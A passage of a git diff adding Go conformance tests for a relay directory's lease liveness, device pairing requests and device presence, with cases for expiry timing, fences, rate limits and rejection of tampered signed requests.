* time.Second + +// The moments the lease cases look at, on the directory's clock, counted from +// the lease's creation at 0. Its stored expiry is one TTL (90 s), so a case that +// still sees it held at leasePast is kept live by something other than its +// stored expiry, and one that sees it free at leaseLapsed has lost that too: a +// sign of life at leaseAge vouches until leaseAge plus one TTL, which is 135 s. +const ( + leaseAge = 45 * time.Second + leasePast = 95 * time.Second + leaseLapsed = 140 * time.Second +) + +// timeline moves the directory's clock to named moments of one case. +type timeline struct { + w watchEnv + now time.Duration +} + +func (w watchEnv) timeline() *timeline { return &timeline{w: w} } + +// to waits until the clock reads d since the case began. +func (t *timeline) to(d time.Duration) { + t.w.env.clock.Wait(d - t.now) + t.now = d +} + +// leaseCases are the named rows of section 21.11 of the contract that a relay +// proves; the client's rows are proved where the client lives. +var leaseCases = map[string]func(watchEnv){ + "SocketKeepsLeaseLive": socketKeepsLeaseLive, + "SilentSocketLapses": silentSocketLapses, + "DeadSocketLapses": deadSocketLapses, + "TakeoverSilencesOldSocket": takeoverSilencesOldSocket, + "HoldOfUnheldCellVouchesNothing": holdOfUnheldCellVouchesNothing, + "HoldAtStaleFenceVouchesNothing": holdAtStaleFenceVouchesNothing, + "OtherDevicesSocketVouchesNothing": otherDevicesSocketVouchesNothing, + "ReleaseEndsVouching": releaseEndsVouching, + "SocketWithoutHoldVouchesNothing": socketWithoutHoldVouchesNothing, + "MalformedHoldIsRefused": malformedHoldIsRefused, + "TooManyHoldsIsRefused": tooManyHoldsIsRefused, + "UpgradeAnnouncesVouching": upgradeAnnouncesVouching, + "PingIsNotAChange": pingIsNotAChange, + "LapseBumpsNothing": lapseBumpsNothing, + "HoldsAreSignedWithTheRequest": holdsAreSignedWithTheRequest, + "BeatUnderVouchIsSilent": beatUnderVouchIsSilent, + "TwoFencesOfOneCellVouchEachOwnFence": twoFencesOfOneCellVouchEachOwnFence, +} + +// RunLease runs every lease-liveness case of the contract (section 21.11) +// against a fresh rig each. Like RunWatch, the cases run in parallel, each on +// its own identity; a live relay's cases take as long as the lease does. +func RunLease(t *testing.T, factory WatchRigFactory) { + for name, fn := range leaseCases { + t.Run(name, func(t *testing.T) { + t.Parallel() + fn(newWatchEnv(t, factory(t))) + }) + } +} + +// openHolding dials the watch route as device, naming holds, and reads the +// opening version so the case starts from a quiet socket. +func (w watchEnv) openHolding(device string, holds ...directory.Hold) *sock { + w.t.Helper() + return w.dialHolding(device, holds).opened() +} + +func (w watchEnv) dialHolding(device string, holds []directory.Hold) *sock { + w.t.Helper() + dialCtx, cancel := context.WithTimeout(context.Background(), dialWait) + defer cancel() + conn, resp, err := DialWatchHolding(dialCtx, w.rig.Base, w.rig.Sign(device), holds) + if err != nil { + w.t.Fatalf("watch dial holding %v: %v (%s)", holds, err, describe(resp)) + } + s := startSock(w.t, conn) + s.resp = resp + return s +} + +// opened consumes the opening version frame. +func (s *sock) opened() *sock { + s.t.Helper() + s.version() + return s +} + +// ping sends a ping and waits for its pong, skipping version frames that a +// change made meanwhile. When it returns the relay has recorded the sign of life. +func (s *sock) ping() { + s.t.Helper() + s.send(websocket.MessageText, "ping") + for { + text := s.text() + if text == "pong" { + return + } + if _, ok := parseVersion(text); !ok { + s.t.Fatalf("frame %q while waiting for a pong", text) + } + } +} + +// hold is the hold a device names for the lease it believes it has. +func hold(cellID string, fence uint64) directory.Hold { + return directory.Hold{Cell: cellID, Fence: fence} +} + +// held says whether device sees the lease on id as held, reading the lease +// the way the home list draws it: its expiry against the relay's own now. +func (w watchEnv) held(device, id string) bool { + w.t.Helper() + v, err := w.dirAs(device).Cell(ctx, id) + must(w.t, err) + return v.Cell.Lease.Expires > v.Now +} + +// wantHeld asserts the lease on id reads held and that a plain acquire by by, +// another device, is refused. +func (w watchEnv) wantHeld(by, id string) { + w.t.Helper() + w.wantReading(by, id, true) + _, err := w.dirAs(by).Acquire(ctx, id, directory.AcquireOpts{}) + wantErr(w.t, err, directory.ErrLeaseHeld) +} + +// wantFree asserts the lease on id reads free and that a plain acquire by by +// succeeds. +func (w watchEnv) wantFree(by, id string) { + w.t.Helper() + w.wantReading(by, id, false) + _, err := w.dirAs(by).Acquire(ctx, id, directory.AcquireOpts{}) + must(w.t, err) +} + +// wantReading asserts only what a list shows, so a case can go on watching a +// lease that an acquire would end. +func (w watchEnv) wantReading(by, id string, held bool) { + w.t.Helper() + if got := w.held(by, id); got != held { + w.t.Fatalf("lease on %s reads held=%v, want %v", id, got, held) + } +} + +// A holder that only pings keeps its lease live past the stored expiry. +func socketKeepsLeaseLive(w watchEnv) { + w.create() + s := w.openHolding(devA, hold(cell, 1)) + tl := w.timeline() + tl.to(leaseAge) + s.ping() + tl.to(leasePast) + w.wantHeld(devB, cell) +} + +// A socket that never pings counts from its accept time. +func silentSocketLapses(w watchEnv) { + w.create() + tl := w.timeline() + tl.to(leaseAge) + w.openHolding(devA, hold(cell, 1)) + tl.to(leasePast) + w.wantReading(devB, cell, true) + tl.to(leaseLapsed) + w.wantFree(devB, cell) +} + +// A socket that stops pinging stops vouching TTL after its last ping. +func deadSocketLapses(w watchEnv) { + w.create() + s := w.openHolding(devA, hold(cell, 1)) + tl := w.timeline() + tl.to(leaseAge) + s.ping() + tl.to(leasePast) + w.wantReading(devB, cell, true) + tl.to(leaseLapsed) + w.wantFree(devB, cell) +} + +// After a takeover the old holder's socket, still pinging, names a fence that +// is gone: the new lease lapses on its own clock. +func takeoverSilencesOldSocket(w watchEnv) { + w.create() + old := w.openHolding(devA, hold(cell, 1)) + tl := w.timeline() + tl.to(leaseAge) + old.ping() + _, err := w.dirAs(devB).Acquire(ctx, cell, directory.AcquireOpts{Force: true}) + must(w.t, err) + tl.to(leasePast) + old.ping() + w.wantReading(devA, cell, true) + tl.to(leaseLapsed) + w.wantFree(devA, cell) +} + +// A hold of a cell the device does not hold, or that does not exist, is +// accepted and vouches for nothing: the holder's lease is neither kept live nor +// shortened, and nothing about it is told. +func holdOfUnheldCellVouchesNothing(w watchEnv) { + _, err := w.dirAs(devB).Create(ctx, cellB, directory.CellInit{Head: head, Class: "chat", Size: 10, Title: "t"}) + must(w.t, err) + before, err := w.dirAs(devB).Cell(ctx, cellB) + must(w.t, err) + s := w.openHolding(devA, hold(cellB, 1), hold("01J0000000000000000000000Z", 1)) + s.wantSilent() + tl := w.timeline() + tl.to(leaseAge) + s.ping() + s.wantSilent() + after, err := w.dirAs(devB).Cell(ctx, cellB) + must(w.t, err) + if after.Cell.Lease != before.Cell.Lease { + w.t.Fatalf("a hold changed the holder's lease: %+v -> %+v", before.Cell.Lease, after.Cell.Lease) + } + tl.to(leasePast) + s.ping() + w.wantFree(devA, cellB) +} + +// A hold at a fence the lease has moved past vouches for nothing. +func holdAtStaleFenceVouchesNothing(w watchEnv) { + w.create() + _, err := w.dirAs(devA).Acquire(ctx, cell, directory.AcquireOpts{}) + must(w.t, err) + s := w.openHolding(devA, hold(cell, 1)) + tl := w.timeline() + tl.to(leaseAge) + s.ping() + tl.to(leasePast) + s.ping() + w.wantFree(devB, cell) +} + +// A socket of another device that names a cell held by device A vouches for nothing. +func otherDevicesSocketVouchesNothing(w watchEnv) { + w.create() + s := w.openHolding(devB, hold(cell, 1)) + tl := w.timeline() + tl.to(leaseAge) + s.ping() + tl.to(leasePast) + w.wantFree(devB, cell) +} + +// After a release the socket that named the lease no longer vouches. +func releaseEndsVouching(w watchEnv) { + w.create() + s := w.openHolding(devA, hold(cell, 1)) + w.timeline().to(leaseAge) + s.ping() + must(w.t, w.dirAs(devA).Release(ctx, cell, 1)) + s.ping() + w.wantFree(devB, cell) +} + +// A socket with no hold is the home screen's and vouches for nothing. +func socketWithoutHoldVouchesNothing(w watchEnv) { + w.create() + s := w.openHolding(devA) + tl := w.timeline() + tl.to(leaseAge) + s.ping() + tl.to(leasePast) + s.ping() + w.wantFree(devB, cell) +} + +// refusedHolds are values the relay must answer 400 before the upgrade. +func refusedHolds() []string { + return []string{ + "nocolon", ":5", cell + ":", cell + ":-1", cell + ":+1", cell + ": 1", cell + ":1x", + cell + ":0x10", cell + ":9007199254740992", cell + ":12345678901234567", + strings.Repeat("c", directory.MaxHoldCellBytes+1) + ":1", "", + } +} + +// acceptedHolds are values right at the edge that the relay must still accept. +func acceptedHolds() []string { + return []string{ + cell + ":0", "a:b:3", cell + ":9007199254740991", cell + ":0000000000000007", + strings.Repeat("c", directory.MaxHoldCellBytes) + ":1", + } +} + +func malformedHoldIsRefused(w watchEnv) { + for _, v := range refusedHolds() { + w.wantHoldQuery("hold="+url.QueryEscape(v), http.StatusBadRequest) + } + for _, v := range acceptedHolds() { + w.wantHoldQuery("hold="+url.QueryEscape(v), http.StatusSwitchingProtocols) + } +} + +func tooManyHoldsIsRefused(w watchEnv) { + query := func(n int) string { + q := make([]string, n) + for i := range q { + q[i] = "hold=" + url.QueryEscape(cell+":"+strconv.Itoa(i+1)) + } + return strings.Join(q, "&") + } + w.wantHoldQuery(query(directory.MaxHolds), http.StatusSwitchingProtocols) + w.wantHoldQuery(query(directory.MaxHolds+1), http.StatusBadRequest) +} + +// wantHoldQuery dials with a raw query and asserts the status: a refusal is a +// 400 bad_request before the upgrade, and an accepted socket is closed at once. +func (w watchEnv) wantHoldQuery(query string, status int) { + w.t.Helper() + dialCtx, cancel := context.WithTimeout(context.Background(), dialWait) + defer cancel() + conn, resp, err := dialWatchQuery(dialCtx, w.rig.Base, w.rig.Sign(devA), query) + if status == http.StatusSwitchingProtocols { + if err != nil { + w.t.Fatalf("query %q refused: %v (%s)", query, err, describe(resp)) + } + conn.CloseNow() + return + } + wantRefusal(w.t, conn, resp, err, status, "bad_request") +} + +func upgradeAnnouncesVouching(w watchEnv) { + for _, holds := range [][]directory.Hold{nil, {hold(cell, 1)}} { + s := w.dialHolding(devA, holds) + if got := s.resp.Header.Get(directory.VouchHeader); got != "1" { + w.t.Fatalf("101 answer has %s=%q with holds %v, want 1", directory.VouchHeader, got, holds) + } + } +} + +// A ping is neither a version nor a frame: nothing changes for anyone. +func pingIsNotAChange(w watchEnv) { + w.create() + s := w.openHolding(devA, hold(cell, 1)) + other := w.open(devB).opened() + n := s.last + for range 3 { + w.env.clock.Wait(time.Second) + s.ping() + } + s.wantSilent() + other.wantSilent() + if got := w.listVersion(devA); got != n { + w.t.Fatalf("list version %d after pings, want %d", got, n) + } +} + +// A vouched lease that lapses changes no version: it lapses at read time. +func lapseBumpsNothing(w watchEnv) { + w.create() + s := w.openHolding(devA, hold(cell, 1)) + n := s.last + tl := w.timeline() + tl.to(leaseAge) + s.ping() + tl.to(leasePast) + w.wantReading(devB, cell, true) + tl.to(leaseLapsed) + l, err := w.dirAs(devB).List(ctx) + must(w.t, err) + if c := l.Cells[cell]; c.Lease.Expires > l.Now { + w.t.Fatalf("the list still reads the lease held: %+v at %d", c.Lease, l.Now) + } + if got := w.listVersion(devB); got != n { + w.t.Fatalf("list version %d after a lapse, want %d", got, n) + } + s.wantSilent() +} + +// The holds are part of what the request signature covers: a holder's signed +// request cannot be replayed with another hold added. +func holdsAreSignedWithTheRequest(w watchEnv) { + w.create() + signed := w.rig.Sign(devA) + tampered := func(r *http.Request, body []byte) { + signed(r, body) + r.URL.RawQuery = directory.HoldQuery([]directory.Hold{hold(cell, 1)}) + } + dialCtx, cancel := context.WithTimeout(context.Background(), dialWait) + defer cancel() + conn, resp, err := DialWatchHolding(dialCtx, w.rig.Base, tampered, nil) + if conn != nil { + conn.CloseNow() + w.t.Fatal("a watch request with a hold added after signing was accepted") + } + if err == nil || resp == nil || resp.StatusCode != http.StatusUnauthorized { + w.t.Fatalf("tampered hold answered %v (%v), want 401", describe(resp), err) + } + resp.Body.Close() +} + +// Two holds for one cell at different fences are both stored and each vouches +// for its own fence only: the live one keeps the lease, the stale one does not. +func twoFencesOfOneCellVouchEachOwnFence(w watchEnv) { + w.create() + _, err := w.dirAs(devA).Acquire(ctx, cell, directory.AcquireOpts{}) + must(w.t, err) + s := w.openHolding(devA, hold(cell, 1), hold(cell, 2), hold(cell, 2)) + tl := w.timeline() + tl.to(leaseAge) + s.ping() + tl.to(leasePast) + w.wantHeld(devB, cell) +} + +// A write bumps exactly when held-ness flips because of it: a beat that lands +// after the stored expiry, while a socket vouches, finds the lease held already. +func beatUnderVouchIsSilent(w watchEnv) { + w.create() + s := w.openHolding(devA, hold(cell, 1)) + n := s.last + tl := w.timeline() + tl.to(leaseAge) + s.ping() + tl.to(leasePast) + _, err := w.dirAs(devA).Heartbeat(ctx, cell, directory.Beat{Fence: 1}) + must(w.t, err) + s.wantSilent() + if got := w.listVersion(devA); got != n { + w.t.Fatalf("list version %d after a beat under a vouch, want %d", got, n) + } +} diff --git a/internal/directory/directorytest/pairing.go b/internal/directory/directorytest/pairing.go new file mode 100644 index 0000000000..ca9e544fcd --- /dev/null +++ b/internal/directory/directorytest/pairing.go @@ -0,0 +1,343 @@ +package directorytest + +import ( + "crypto/rand" + "encoding/base64" + "encoding/hex" + "encoding/json" + "errors" + "regexp" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// PairingRig is one fresh relay as link pairing sees it: the open side a new +// device calls, and the signed Client of an already-paired device. Both share +// one request store and the clock, so a case can wait out a request's life. +type PairingRig struct { + Clock Clock + Devices Devices + Requests directory.Requests +} + +// PairingFactory builds a fresh PairingRig for one test. +type PairingFactory func(t *testing.T) PairingRig + +// RunPairing runs every link-pairing case (docs/ux-pairing-contract.md) against +// a fresh rig each. The Go store, its HTTP wire and the Worker all answer to it. +func RunPairing(t *testing.T, factory PairingFactory) { + for name, fn := range pairingCases { + t.Run(name, func(t *testing.T) { fn(t, factory(t)) }) + } +} + +var pairingCases = map[string]func(*testing.T, PairingRig){ + "CreateAnswersCodeCheckAndExpiry": createAnswers, + "CreateRefusesMalformed": createRefusesMalformed, + "CreateKeepsUnknownPlatformOther": createPlatformOther, + "GetShowsPendingRecord": getShowsPending, + "GetUnknownIsGone": getUnknownIsGone, + "GetIsCaseInsensitive": getIsCaseInsensitive, + "ApproveWritesDeviceAndGrant": approveWritesDevice, + "ApproveIsIdempotent": approveIsIdempotent, + "ApproveOtherBodyIsDecided": approveOtherBodyIsDecided, + "ApproveRefusesForeignCert": approveRefusesForeignCert, + "ApproveRefusesBigGrant": approveRefusesBigGrant, + "DenyThenApproveIsDecided": denyThenApproveIsDecided, + "DenyIsIdempotent": denyIsIdempotent, + "ApproveUnknownIsGone": approveUnknownIsGone, + "RevokedApproverIsRefused": revokedApproverIsRefused, + "RequestExpiresAfterTenMinutes": requestExpires, + "DecidedRequestIsKeptTwoMinutes": decidedIsKeptTwoMinutes, + "WaitWakesOnDecision": waitWakes, + "WaitEndsWhilePending": waitEnds, + "ThreePendingPerNetwork": threePending, + "TenCreatesPerHour": tenPerHour, + "PutDeviceIgnoresRelayFields": putDeviceIgnoresRelayFields, +} + +// joiner is a new device's keys and the request it makes. +type joiner struct { + pub []byte + req directory.NewRequest + cert string + id string +} + +func newJoiner(t *testing.T) joiner { + t.Helper() + pub, box, name := random(t, 32), random(t, 32), random(t, 40+8) + cert := identity.Cert{V: 1, Device: hex.EncodeToString(pub), Made: 1, Sig: "00"} + raw, err := json.Marshal(cert) + must(t, err) + return joiner{ + pub: pub, id: cert.DeviceID(), cert: b64(raw), + req: directory.NewRequest{Pubkey: b64(pub), X25519: b64(box), NameSealed: b64(name), Platform: "linux"}, + } +} + +func random(t *testing.T, n int) []byte { + t.Helper() + b := make([]byte, n) + _, err := rand.Read(b) + must(t, err) + return b +} + +func b64(b []byte) string { return base64.RawURLEncoding.EncodeToString(b) } + +func (j joiner) approval(grant string) directory.Approval { + return directory.Approval{ + Device: directory.Device{V: 1, Name: "bg", AddedBy: "id_x", Platform: "linux", Created: 1, LastSeen: 1}, + Cert: j.cert, Grant: grant, + } +} + +// ask makes j's request and answers its code. +func ask(t *testing.T, r PairingRig, j joiner) directory.Opened { + t.Helper() + o, err := r.Requests.CreateRequest(ctx, j.req) + must(t, err) + return o +} + +func createAnswers(t *testing.T, r PairingRig) { + j := newJoiner(t) + before := r.Clock.Now().UnixMilli() + o := ask(t, r, j) + if !regexp.MustCompile(`^[0-9a-hjkmnp-tv-z]{8}$`).MatchString(o.Code) { + t.Fatalf("code %q is not 8 Crockford characters", o.Code) + } + if o.Device != j.id || len(o.Check) != 4 || o.Check != directory.CheckOf(j.pub) { + t.Fatalf("answer = %+v, want device %s and check %s", o, j.id, directory.CheckOf(j.pub)) + } + if o.ExpiresAt-o.RequestedAt != 600_000 || o.RequestedAt < before { + t.Fatalf("times = %d..%d, now %d", o.RequestedAt, o.ExpiresAt, before) + } +} + +func createRefusesMalformed(t *testing.T, r PairingRig) { + short := newJoiner(t) + short.req.Pubkey = b64(random(t, 31)) + _, err := r.Requests.CreateRequest(ctx, short.req) + wantErr(t, err, directory.ErrBadRequest) + + long := newJoiner(t) + long.req.NameSealed = b64(random(t, 24+16+97)) + _, err = r.Requests.CreateRequest(ctx, long.req) + wantErr(t, err, directory.ErrBadRequest) +} + +func createPlatformOther(t *testing.T, r PairingRig) { + j := newJoiner(t) + j.req.Platform = "plan9" + got, err := r.Requests.GetRequest(ctx, ask(t, r, j).Code, 0) + must(t, err) + if got.Platform != "other" { + t.Fatalf("platform = %q, want other", got.Platform) + } +} + +func getShowsPending(t *testing.T, r PairingRig) { + j := newJoiner(t) + o := ask(t, r, j) + got, err := r.Requests.GetRequest(ctx, o.Code, 0) + must(t, err) + want := directory.Request{ + Code: o.Code, Device: j.id, Pubkey: j.req.Pubkey, X25519: j.req.X25519, NameSealed: j.req.NameSealed, + Platform: "linux", Check: o.Check, RequestedAt: o.RequestedAt, ExpiresAt: o.ExpiresAt, State: directory.RequestPending, + } + if got != want { + t.Fatalf("record = %+v\nwant %+v", got, want) + } +} + +func getUnknownIsGone(t *testing.T, r PairingRig) { + _, err := r.Requests.GetRequest(ctx, "zzzzzzzz", 0) + wantErr(t, err, directory.ErrRequestGone) +} + +func getIsCaseInsensitive(t *testing.T, r PairingRig) { + o := ask(t, r, newJoiner(t)) + _, err := r.Requests.GetRequest(ctx, upper(o.Code), 0) + must(t, err) +} + +func upper(s string) string { + return string([]byte(regexp.MustCompile(`[a-z]`).ReplaceAllFunc([]byte(s), func(b []byte) []byte { return []byte{b[0] - 32} }))) +} + +func approveWritesDevice(t *testing.T, r PairingRig) { + j := newJoiner(t) + o := ask(t, r, j) + must(t, r.Devices(devA).ApproveRequest(ctx, o.Code, j.approval("Z3JhbnQ"))) + + got, err := r.Requests.GetRequest(ctx, o.Code, 0) + must(t, err) + if got.State != directory.RequestApproved || got.Grant == nil || *got.Grant != "Z3JhbnQ" { + t.Fatalf("after approve = %+v", got) + } + l, err := r.Devices(devA).List(ctx) + must(t, err) + d, ok := l.Devices[j.id] + if !ok || d.Platform != "linux" || d.Created != l.Now || d.LastSeen != 0 { + t.Fatalf("device %s = %+v (listed at %d), want platform linux, created by the directory, no last_seen", j.id, d, l.Now) + } +} + +func approveIsIdempotent(t *testing.T, r PairingRig) { + j := newJoiner(t) + o := ask(t, r, j) + must(t, r.Devices(devA).ApproveRequest(ctx, o.Code, j.approval("Z3JhbnQ"))) + must(t, r.Devices(devB).ApproveRequest(ctx, o.Code, j.approval("Z3JhbnQ"))) +} + +func approveOtherBodyIsDecided(t *testing.T, r PairingRig) { + j := newJoiner(t) + o := ask(t, r, j) + must(t, r.Devices(devA).ApproveRequest(ctx, o.Code, j.approval("Z3JhbnQ"))) + wantErr(t, r.Devices(devB).ApproveRequest(ctx, o.Code, j.approval("b3RoZXI")), directory.ErrAlreadyDecided) + wantErr(t, r.Devices(devB).DenyRequest(ctx, o.Code), directory.ErrAlreadyDecided) +} + +func approveRefusesForeignCert(t *testing.T, r PairingRig) { + j, other := newJoiner(t), newJoiner(t) + o := ask(t, r, j) + wantErr(t, r.Devices(devA).ApproveRequest(ctx, o.Code, other.approval("Z3JhbnQ")), directory.ErrBadRequest) + wantErr(t, r.Devices(devA).ApproveRequest(ctx, o.Code, directory.Approval{Cert: "!", Grant: "Z3JhbnQ"}), directory.ErrBadRequest) + got, err := r.Requests.GetRequest(ctx, o.Code, 0) + must(t, err) + if got.State != directory.RequestPending { + t.Fatalf("a refused approve left the request %s", got.State) + } +} + +func approveRefusesBigGrant(t *testing.T, r PairingRig) { + j := newJoiner(t) + o := ask(t, r, j) + big := b64(random(t, directory.MaxGrant+1)) + wantErr(t, r.Devices(devA).ApproveRequest(ctx, o.Code, j.approval(big)), directory.ErrTooBig) +} + +func denyThenApproveIsDecided(t *testing.T, r PairingRig) { + j := newJoiner(t) + o := ask(t, r, j) + must(t, r.Devices(devA).DenyRequest(ctx, o.Code)) + got, err := r.Requests.GetRequest(ctx, o.Code, 0) + must(t, err) + if got.State != directory.RequestDenied || got.Grant != nil { + t.Fatalf("after deny = %+v", got) + } + wantErr(t, r.Devices(devB).ApproveRequest(ctx, o.Code, j.approval("Z3JhbnQ")), directory.ErrAlreadyDecided) +} + +func denyIsIdempotent(t *testing.T, r PairingRig) { + o := ask(t, r, newJoiner(t)) + must(t, r.Devices(devA).DenyRequest(ctx, o.Code)) + must(t, r.Devices(devB).DenyRequest(ctx, o.Code)) +} + +func approveUnknownIsGone(t *testing.T, r PairingRig) { + j := newJoiner(t) + wantErr(t, r.Devices(devA).ApproveRequest(ctx, "zzzzzzzz", j.approval("Z3JhbnQ")), directory.ErrRequestGone) + wantErr(t, r.Devices(devA).DenyRequest(ctx, "zzzzzzzz"), directory.ErrRequestGone) +} + +func revokedApproverIsRefused(t *testing.T, r PairingRig) { + must(t, r.Devices(devA).PutDevice(ctx, devA, directory.Device{V: 1})) + must(t, r.Devices(devB).PutDevice(ctx, devB, directory.Device{V: 1})) + must(t, r.Devices(devA).Revoke(ctx, devB)) + j := newJoiner(t) + o := ask(t, r, j) + wantErr(t, r.Devices(devB).ApproveRequest(ctx, o.Code, j.approval("Z3JhbnQ")), directory.ErrRevoked) + wantErr(t, r.Devices(devB).DenyRequest(ctx, o.Code), directory.ErrRevoked) + must(t, r.Devices(devA).ApproveRequest(ctx, o.Code, j.approval("Z3JhbnQ"))) +} + +func requestExpires(t *testing.T, r PairingRig) { + o := ask(t, r, newJoiner(t)) + r.Clock.Wait(10*time.Minute + time.Second) + _, err := r.Requests.GetRequest(ctx, o.Code, 0) + wantErr(t, err, directory.ErrRequestGone) + wantErr(t, r.Devices(devA).DenyRequest(ctx, o.Code), directory.ErrRequestGone) +} + +func decidedIsKeptTwoMinutes(t *testing.T, r PairingRig) { + o := ask(t, r, newJoiner(t)) + must(t, r.Devices(devA).DenyRequest(ctx, o.Code)) + r.Clock.Wait(time.Minute + 50*time.Second) + _, err := r.Requests.GetRequest(ctx, o.Code, 0) + must(t, err) + r.Clock.Wait(20 * time.Second) + _, err = r.Requests.GetRequest(ctx, o.Code, 0) + wantErr(t, err, directory.ErrRequestGone) +} + +func waitWakes(t *testing.T, r PairingRig) { + j := newJoiner(t) + o := ask(t, r, j) + got := make(chan error, 1) + var rec directory.Request + go func() { + var err error + rec, err = r.Requests.GetRequest(ctx, o.Code, 20*time.Second) + got <- err + }() + time.Sleep(100 * time.Millisecond) + must(t, r.Devices(devA).ApproveRequest(ctx, o.Code, j.approval("Z3JhbnQ"))) + select { + case err := <-got: + must(t, err) + if rec.State != directory.RequestApproved { + t.Fatalf("woke with %s", rec.State) + } + case <-time.After(5 * time.Second): + t.Fatal("a decision did not wake the waiting read") + } +} + +func waitEnds(t *testing.T, r PairingRig) { + o := ask(t, r, newJoiner(t)) + _, err := r.Requests.GetRequest(ctx, o.Code, 100*time.Millisecond) + wantErr(t, err, directory.ErrStillPending) +} + +func threePending(t *testing.T, r PairingRig) { + for range 3 { + ask(t, r, newJoiner(t)) + } + _, err := r.Requests.CreateRequest(ctx, newJoiner(t).req) + wantErr(t, err, wireauth.ErrRateLimited) +} + +func tenPerHour(t *testing.T, r PairingRig) { + for range 10 { + must(t, r.Devices(devA).DenyRequest(ctx, ask(t, r, newJoiner(t)).Code)) + } + _, err := r.Requests.CreateRequest(ctx, newJoiner(t).req) + wantErr(t, err, wireauth.ErrRateLimited) + if errors.Is(err, wireauth.ErrRateLimited) && wireauth.After(err) <= 0 { + t.Fatal("a rate limit must say when to retry") + } + r.Clock.Wait(time.Hour + time.Second) + ask(t, r, newJoiner(t)) +} + +func putDeviceIgnoresRelayFields(t *testing.T, r PairingRig) { + c := r.Devices(devA) + must(t, c.PutDevice(ctx, devA, directory.Device{V: 1, Name: "a", Created: 5, LastSeen: 5})) + first, err := c.List(ctx) + must(t, err) + r.Clock.Wait(time.Minute) + must(t, c.PutDevice(ctx, devA, directory.Device{V: 1, Name: "b", Created: 9, LastSeen: 9, Platform: "darwin"})) + second, err := c.List(ctx) + must(t, err) + got := second.Devices[devA] + if got.Created != first.Now || got.LastSeen != 0 || got.Name != "b" || got.Platform != "darwin" { + t.Fatalf("device = %+v, want created %d, last_seen 0, new name and platform", got, first.Now) + } +} diff --git a/internal/directory/directorytest/presencecases.go b/internal/directory/directorytest/presencecases.go new file mode 100644 index 0000000000..91a207afef --- /dev/null +++ b/internal/directory/directorytest/presencecases.go @@ -0,0 +1,246 @@ +package directorytest + +import ( + "context" + "encoding/json" + "net/http" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/dirwatch" +) + +// The numbers the presence cases run on. A device under test declares a beat of +// two seconds, so its window is five and a case that waits lapseWait (the window +// and a second of slack) sees it lapsed. The viewer is a device that must stay +// live for the whole case, so it declares the longest beat there is. +const ( + deviceBeatQuery = "beat=2" + viewerQuery = "beat=60&events=1" + lapseWait = 6 * time.Second +) + +// presenceCases are the named rows of section 21.12 of the contract that a relay +// proves; the client's rows are proved where the client lives. +var presenceCases = map[string]func(watchEnv){ + "FrozenDeviceGoesOffline": frozenDeviceGoesOffline, + "LapsedSocketClosesSilent": lapsedSocketClosesSilent, + "PingingDeviceStaysOnline": pingingDeviceStaysOnline, + "ReturnAnnouncesOnline": returnAnnouncesOnline, + "PresenceReadAppliesWindow": presenceReadAppliesWindow, + "OneLiveSocketKeepsOnline": oneLiveSocketKeepsOnline, + "LegacyWindowIs75s": legacyWindowIs75s, + "BadBeatIsRefused": badBeatIsRefused, + "LapsedDeviceAnnouncedOnce": lapsedDeviceAnnouncedOnce, + "LapseStampsLastSeenOnly": lapseStampsLastSeenOnly, + "UpgradeAnnouncesPresence": upgradeAnnouncesPresence, +} + +// RunPresence runs every presence case of the contract (section 21.12) against +// a fresh rig each. They wait on the rig's clock, so a fake clock makes them +// instant and a live relay takes the five-second window of the beat they declare. +func RunPresence(t *testing.T, factory WatchRigFactory) { + for name, fn := range presenceCases { + t.Run(name, func(t *testing.T) { + t.Parallel() + fn(newWatchEnv(t, factory(t))) + }) + } +} + +// dialQuery dials the watch route as device with a raw query, unopened. +func (w watchEnv) dialQuery(device, query string) *sock { + w.t.Helper() + dialCtx, cancel := context.WithTimeout(context.Background(), dialWait) + defer cancel() + conn, resp, err := dialWatchQuery(dialCtx, w.rig.Base, w.rig.Sign(device), query) + if err != nil { + w.t.Fatalf("watch dial %q: %v (%s)", query, err, describe(resp)) + } + s := startSock(w.t, conn) + s.resp = resp + return s +} + +// viewer opens the events socket of a device that stays live, as the home screen does. +func (w watchEnv) viewer() *sock { return w.dialQuery(devB, viewerQuery).opened() } + +// device opens a socket of device A that has promised to ping every two seconds. +func (w watchEnv) device(query string) *sock { return w.dialQuery(devA, query).opened() } + +// watched is a viewer and a device A that will go silent, with the viewer +// having heard A arrive. +func (w watchEnv) watched() (viewer, frozen *sock) { + w.t.Helper() + w.enrol() + viewer = w.viewer() + frozen = w.device(deviceBeatQuery) + viewer.wantPresence(w.env.id(devA), true) + return viewer, frozen +} + +// enrol records device A, which the presence route lists only once the +// directory knows it, and device B, which reads it. +func (w watchEnv) enrol() { + w.t.Helper() + for _, d := range []string{devA, devB} { + must(w.t, w.dirAs(d).PutDevice(ctx, w.env.id(d), directory.Device{V: 1, Name: d[:5]})) + } +} + +// wantPresence asserts the next delivery is the presence event of device. +func (s *sock) wantPresence(device string, online bool) { + s.t.Helper() + text := s.text() + var e dirwatch.Event + if err := json.Unmarshal([]byte(text), &e); err != nil || e.T != dirwatch.EventPresence || + e.Device != device || e.Online == nil || *e.Online != online { + s.t.Fatalf("frame %q, want presence online=%v of %s", text, online, device) + } +} + +// wantOnline asserts what the presence route says about device A, read by device B. +func (w watchEnv) wantOnline(online bool) { + w.t.Helper() + v, err := w.dirAs(devB).Presence(ctx) + must(w.t, err) + if got := v.Devices[w.env.id(devA)].Online; got != online { + w.t.Fatalf("presence lists device A online=%v, want %v", got, online) + } +} + +// A device that stops pinging is announced offline once its window passes. +func frozenDeviceGoesOffline(w watchEnv) { + viewer, _ := w.watched() + w.wantOnline(true) + w.env.clock.Wait(lapseWait) + viewer.wantPresence(w.env.id(devA), false) + w.wantOnline(false) +} + +// The socket of the lapsed device is told to redial. +func lapsedSocketClosesSilent(w watchEnv) { + _, frozen := w.watched() + w.env.clock.Wait(lapseWait) + frozen.wantClosed(directory.CloseSilent, "silent") +} + +// A device that pings every beat stays online for far longer than the window. +func pingingDeviceStaysOnline(w watchEnv) { + viewer, device := w.watched() + for range 3 { + w.env.clock.Wait(2 * time.Second) + device.ping() + } + viewer.wantSilent() + w.wantOnline(true) +} + +// A device that comes back after it was announced offline is announced online at once. +func returnAnnouncesOnline(w watchEnv) { + viewer, _ := w.watched() + w.env.clock.Wait(lapseWait) + viewer.wantPresence(w.env.id(devA), false) + w.device(deviceBeatQuery) + viewer.wantPresence(w.env.id(devA), true) + w.wantOnline(true) +} 